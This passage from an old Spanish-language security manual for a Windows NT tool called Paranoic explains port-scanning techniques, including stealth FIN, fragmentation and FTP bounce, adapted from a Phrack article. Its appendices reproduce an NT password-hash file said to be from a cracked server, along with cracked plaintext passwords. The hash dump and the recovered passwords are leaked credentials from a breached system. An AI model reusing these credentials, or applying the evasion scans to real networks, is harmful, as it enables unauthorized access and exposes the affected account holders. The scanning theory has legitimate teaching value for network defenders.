minutos, se actualizan las paginas Web relacionadas
tanto con los hot-fix
como con los Service Pack, y donde ademas podras
encontrar abundante
informacion sobre la causa que motivo la aparicion de tal
parche.
12. Escaneadores de
puertos TCP/UDP. Paranoic.
12.1. El arte del
escaneo de puertos TCP.
( Traduccion libre y
recorte del documento de Fyodor fyodor@dhp.com [20]
publicado tambien en
Phrack 49. En su pagina Web podras encontrar ademas el
excelente escaneador
de puertos para maquinas Unix/Linux "nmap")
Este documento trata
sobre muchas de las tecnicas usadas para determinar que
puertos de cierta
maquina estan escuchando para atender conexiones. Estos
puertos representan
canales de comunicacion potenciales. Mapear su existencia
facilita el
intercambio de informacion con el host, y por lo tanto es
interesante y util
para cualquiera que desee explorar su entorno de red,
incluyendo a hackers.
A pesar de lo que
oigas de los medios de comunicacion, INTERNET no solo es el
puerto 80. Cualquiera
que confie exclusivamente en la WWW para recabar
informacion se dejara
el 90% de la misma en el tintero.
12.2. Introduccion.
El escaneo, como
metodo de descubrir canales de comunicacion susceptibles de
ser explotados, lleva
en uso mucho tiempo. La idea es escanear tantos puertos
de escucha como sea posible, y guardar informacion de aquellos que sean
receptivos o de
utilidad para tus necesidades particulares. Muchas utilidades
de auditoria se basan
en este paradigma.
El escaneo de puertos
entro en el mundo de la seguridad informatica junto con
los sistemas de
telefonia. Dado que actualmente tenemos millones de numeros
de telefono a los que
podemos acceder con una simple llamada, pero de todos
ellos, solo nos
interesan el 0.5 %, quizas aquellos que respondan con una
operadora (aquellos
con los que nos conectemos via modem).
La solucion logica
para encontrar todos estos numeros que nos interesan es
intentar conectarnos a
todos. Asi pues, el-campo conocido como "wardialing"
salio a la luz. Se
desarrollaron excelentes programas como Toneloc
desarrollados para
escanear zonas geograficas enteras y mas. La idea basica
es simple. Si llamas a
un numero y tu modem te devuelve un mensaje de CONNECT,
grabas el numero. En
otro caso, el ordenador colgara el telefono y llamara
incansablemente al
siguiente numero.
Aunque el
"wardialing" aun es de utilidad, nos encontramos con que muchos de
los ordenadores con
los que deseamos conectarnos estan conectados a traves de
redes como la Internet
en vez de por redes telefonicas
analogicas. Escanear
este tipo de maquinas
implica las mismas tecnicas de fuerza bruta. Mandamos
una ristra de paquetes
para varios protocolos y deducimos que servicios estan
escuchando por las
respuestas que recibimos o no recibimos.
12.3. Tecnicas.
Con el tiempo, se han
desarrollado un gran numero de tecnicas para reconocer
los puertos abiertos
de un sistema. Todas ellas ofrecen ventajas y desventajas.
He aqui una peque¤a
descripcion de las mas comunes:
? TCP connect()
scanning: esta es la forma basica del
escaneo de puertos TCP.
La llamada al sistema connect() que te ofrece tu sistema
operativo es usado
para abrir conexiones
en cualquier puerto interesante de la maquina. Si el
puerto esta
escuchando, connect() devolvera una respuesta de exito, cualquier
otro caso significara
que el puerto no esta abierto o que no nos podemos
conectar a el desde
nuestra situacion. Una fuerte ventaja de esta tecnica es
que no necesitas de
privilegios especiales. Cualquier usuario en cualquier
maquina UNIX puede
usar esta llamada. Otra ventaja es la velocidad. Aunque
realizar una llamada
connect() de forma separada para cada puerto a
investigar de forma
lineal podria llevarnos mucho tiempo en una conexion
lenta, puedes agilizar
el escaneo usando muchos sockets en paralelo. Usando
I/O de no bloqueo te
permite inicializar un periodo de time-out peque¤o y
observar muchos
puertos a la vez.
La desventaja mas
llamativa es que este metodo es facilmente detectable por
el administrador del
sistema a escanear y por lo tanto facil de filtrar. Los
logs del sistema
objetivo mostraran un gran numero de conexiones y mensajes
de error para los
servicios en los que se ha conseguido conectar la maquina
que lanza el scanner e
inmediatamente se ha desconectado.
? TCP SYN scanning:
esta tecnica a menudo se refiere como un escaneo de
"media-apertura",
dado que nunca se abre una sesion TCP completa. Mandas un
paquete SYN, como si
fueras a usar una conexion real y esperar por la
respuesta.
Un SYN|ACK indica que
el puerto esta abierto. Un RST es indicativo de que
esta cerrado. Si se
recibe un SYN|ACK, inmediatamente debemos mandar un RST
para terminar la
conexion. La principal ventaja de esta tecnica de escaneo es
que pocos sitios estan
preparados para registrarlos en sus logs. La
desventaja es que en
Unix, se necesitan privilegios de administrador para
construir estos
paquetes SYN.
? TCP FIN scanning:
hay veces en que incluso el escaneo SYN no es lo
suficientemente
"clandestino" o limpio. Algunos firewalls y filtros de
paquetes monitorizan
la red en busca de paquetes SYN mandados a puertos
restringidos y existen
programas como synlogger y Courtney estan disponibles
para detectar este
tipo de scanners. Los paquetes FIN, por otro lado, podrian
ser capaces de pasar
sin advertirlos. Este tipo de escaneo fue explicado en
detalle por Uriel
Maimon en la e-zine Phrack 49, articulo 15. La idea es que
los puertos cerrados
tienden a responder a los paquetes FIN con el RST
correspondiente. Los
puertos abiertos, en cambio, suelen ignorar el paquete
en cuestion. Como
apunto Alan Cox, este es un comportamiento correcto del
protocolo TCP . Sin
embargo, algunos sistemas (entre los que se hallan los
sistemas Microsoft) no
cumplen con este requerimiento. Mandaran paquetes RST
siempre,
independientemente de si el puerto esta abierto o cerrado, y por lo
tanto no son
vulnerables a este tipo de escaneo. Sin embargo, es posible
realizarlo en otros
sistemas Unix. Actualmente, a veces surge la necesidad de
determinar de forma
remota si un servidor esta gobernado por Unix o NT, y
esta puede ser una
buena forma de hacerlo.
Este tipo de escaneo,
tambien se conoce por el nombre de "Stealth Port
Scanning".
? Fragmentation
scanning: esta no es una nueva tecnica de escaneo como tal,
sino una modificacion de las otras. En lugar de
mandar sin mas los paquetes
de sondeo, los partimos
en un par de peque¤os fragmentos IP. Asi, estamos
consiguiendo partir
una cabecera IP en distintos paquetes para hacerlo mas
dificil de monitorizar
por los filtros de paquetes y por lo tanto mas dificil
de averiguar que
demonios estas haciendo por parte del sistema objetivo. Pero
hay que tener cuidado
con esta tecnica. Algunos programas tienen problemas
con la gestion de este
tipo de paquetes tan peque¤os. El sniffer preferido
del autor se cuelga
con un fallo de segmentacion inmediatamente tras recibir
el primer paquete de
36-bytes. Y tras el viene uno de 24 bytes!! Aunque este
metodo no pasara los
filtros de paquetes y firewalls que encolan todos los
fragmentos IP (como la
opcion CONFIG_IP_ALWAYS_DEFRAG en Linux), la mayoria
de las redes no se
pueden permitir la bajada del rendimiento que el hacerlo
asi causa al sistema.
? TCP reverse ident
scanning: como apunto Dave Goldsmith en 1996 en la lista
de distribucion
BugTraq, el protocolo ident (RFC 1413) permite descubrir el
nombre de usuario del
propietario de cualquier proceso
conectado via TCP
(en UNIX), incluso si
dicho proceso no fue el que inicio la conexion. Asi
que es posible, por
ejemplo, conectarse al puerto http y despues usar el
demonio identd para
averiguar si el servicio esta ejecutandose con permisos
de root. Este tipo de
sondeo solo es posible con una conexion TCP
completa
con el host objetivo
(es decir, con la primera forma de escaneo).
? FTP bounce attack:
una caracteristica importante del protocolo FTP (RFC 959)
es el soporte de
conexiones "proxy". En otras palabras, podria ser capaz de
conectarme de
diablo.com al PI (interprete de protocolos) del servidor FTP de
victima.com para
establecer el control de la comunicacion de la conexion.
Despues podria pedirle
al PI del servidor que iniciara un proceso DTP
(Data Transfer
Protocol) para enviar un fichero a cualquier parte de Internet.
Normalmente a un DTP
de Usuario, pero la RFC especifica que esta peticion de
envio de ficheros
puede ser de un servidor a otro servidor. Esta RFC se
escribio en 1985 y
entonces esta tecnica funcionaba correctamente, pero hoy
en dia es menos comun
encontrar este tipo de servidores (aunque yo aun no he
encontrado uno que no
lo permita en Espa¤a). Como escribio *Hobbit* en 1995,
"esta debilidad
en el protocolo puede ser usada para mandar mails y news de
forma intraceable,
conectarse a servidores de otros sitios, llenar discos,
intentar saltarse
firewalls y ademas ser muy dificil de trazar y/o detectar."
Lo que haremos
nosotros sera usar esta debilidad para (sorpresa!) escanear
puertos TCP desde un
servidor ftp con soporte de conexiones "proxy". Asi
podriamos conectarnos
a un servidor FTP tras un firewall y despues escanear
puertos que en general
suelen estar bloqueados (139 es una buena opcion). Si
el servidor FTP permite
la lectura de y la escritura a un directorio
(como /incoming)
puedes mandar datos arbitrarios a los puertos que encuentres
abiertos.
Para el escaneo de
puertos, nuestra tecnica es usar el comando PORT para
declarar que nuestro
"User-DTP" pasivo esta escuchando en la maquina objetivo
en un numero de puerto
determinado. Despues intentamos
realizar un LIST del
directorio actual para
que se mande el resultado al puerto del
servidor
especificado via canal
DTP. Si la maquina objetivo esta escuchando en el
puerto especificado,
la transferencia finalizara con un mensaje de exito
(generando una
respuesta con codigo 150 y otra con codigo 226). En otro caso,
recibiremos un mensaje
de error "425 Can't build data connection: Connection
refused."
Posteriormente lanzaremos
otro comando PORT para intentar conectarnos al
siguiente puerto de
nuestro host objetivo. Las ventajas de esta tecnica son
obvias (dificil de
tracear, con potencial de atravesar firewalls). La
principal desventaja
es que esta tecnica es lenta, y que algunos servidores
FTP se han dado cuenta
del problema y han deshabilitado la caracteristica
"proxy".
12.4. ¨Que tecnica usa
PARANOIC?
Paranoic implementa la
primera de las tecnicas presentadas, con la mejora de
lanzar varias
conexiones (sockets) a la vez, haciendo
el escaneo mas
eficiente. La idea
inicial consistia en que usara el metodo aleatorio y el
Stealth Port Scanning,
pero mas tarde, me encontre con la desagradable
sorpresa de que este
metodo no se puede implementar para escanear maquinas
con NT. Ademas, este y
otros tipos de escaneo que no sean el
"TCP connect()
scanning", implican programar con Winsocks a bajo
nivel, y dado el precario
grado de conocimientos
de programacion para NT con los que comence este
proyecto, no me ha
sido posible ir mas alla de lo que en estos momentos hace
Paranoic en su modulo
de "TCP Port Scanning". Esta es una tarea a mejorar en
el futuro. Tambien se
estudiara la posiblidad de implementar la tecnica
"FTP Bounce
Attack" en futuras versiones de Paranoic, pues en Espa¤a, los
servidores FTP
susceptibles a este tipo de ataque aun son numerosos.
Apendice B. El fichero
de passwords de prueba.
El autor del articulo
original sobre crackeo de passwords ( [] The Havoc
Technical Journal n§
13, por WaRsPrItE) edito el siguiente
fichero de
passwords para
protegerse y salvaguardar el anonimato del servidor crackeado
(y los usuarios del
mismo), sin embargo el fichero es perfectamente valido
como ejemplo.
Administrator:500:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
Guest:501:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1004:ACAA2B2B4DB1C2F509752A3293831D17:CA45A13FD16012BF33AA68CDFE061FCD:<user
name>::
ccrouter:1009:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
<user
name>:1010:9C0E16584A1066E6C2265B23734E0DAC:3BC5E21044369A593A461ABB6942A8A5:<user
name>::
<user
name>:1011:D30B776BDA67C893AAD3B435B51404EE:9507A8AD5A9BDFC54E08F713CB74764F:<user
name>::
<user name>:1012:1E074F8EF51098B2AAD3B435B51404EE:4F99B255DB7C1852ED01A80576202901:<user
name>::
<user
name>:1013:904021AAA178696DAAD3B435B51404EE:E8CD0E4A9E89EAB931DC5338FCBEC54A:<user
name>::
<user
name>:1014:0A5A9AD4C8774E46C2265B23734E0DAC:6ABC3FA6A76801DFFC63BE7565CFD666:<user
name>::
<user
name>:1015:3F109A599C4324BD93E28745B8BF4BA6:CA162D1F614293BC30686E0AC2F0E67A:<user
name>::
<user
name>:1016:7CF5973DF34EA1443B80EEA293B236B6:3E5CC1D5EDB4B91334EFEEF1258D3E50:<user
name>::
<user
name>:1017:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1018:9EF072AE87B5C9C4AAD3B435B51404EE:6FF0D8A475E5C5B0DFD6A8676F18A829:<user
name>::
<user
name>:1019:6166F0244140F965AAD3B435B51404EE:ECF1BE0786D6E49470107CAB4E3B3E7B:<user
name>::
<user
name>:1020:BE4C45E3524EF720F500944B53168930:8BB50ADC452C4EE196775B7B5008B341:<user
name>::
Supervisor:1026:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
FPNW Service
Account:1027:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
<user
name>:1030:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1040:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1041:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1042:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1043:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1044:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1045:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1046:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1047:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1048:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user name>:1049:D8664E71BB1CF3C8CCF9155E3E7DB453:61931712EDDBA17491BD10470791A332:<user
name>::
<user
name>:1051:0182BD0BD4444BF836077A718CCDF409:259745CB123A52AA2E693AAACCA2DB52:<user
name>::
test:1061:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
<user
name>:1062:6B35A2BA7D7C5B3AAAD3B435B51404EE:3A1B4CFCEB4385D1108253A357B2955E:<user
name>::
FILE-SERVER$:1066:79570B2F6875312AA1455905822538D8:D114D50DD21D6ADDEBB008E3231D7A44:::
NT$:1067:07128FE8EEB666E788371ED292FDCCE7:AF7C003BB0917BC28E37F1785E2B9018:::
<user
name>:1068:83C1B8F7D36B754BCEC18980D4FFADA7:5E4328C5D46384588E45A68547DBFF33:<user
name>::
IUSR_FILE-SERVER:1069:338C0358DECFDA2902386B2E93EFFD10:9393E296495FDC72CCF951D249BB921F:<user
name>::
PLUTONIUM$:1070:C31C1D58633BE3ED27892589E3A13688:26BC63583A0EB0DB6E7C6DCA33F3AB00:::
Apendice C. Los
resultados del crackeo de passwords.
User: [<user
name>] Lanman PW: [LOBOS1] NT dialect PW: [lobos1]
User: [<user
name>] Lanman PW: [MANDAR] NT dialect PW: [mandar]
User: [<user
name>] Lanman PW: [SKIING] NT dialect PW: [skiing]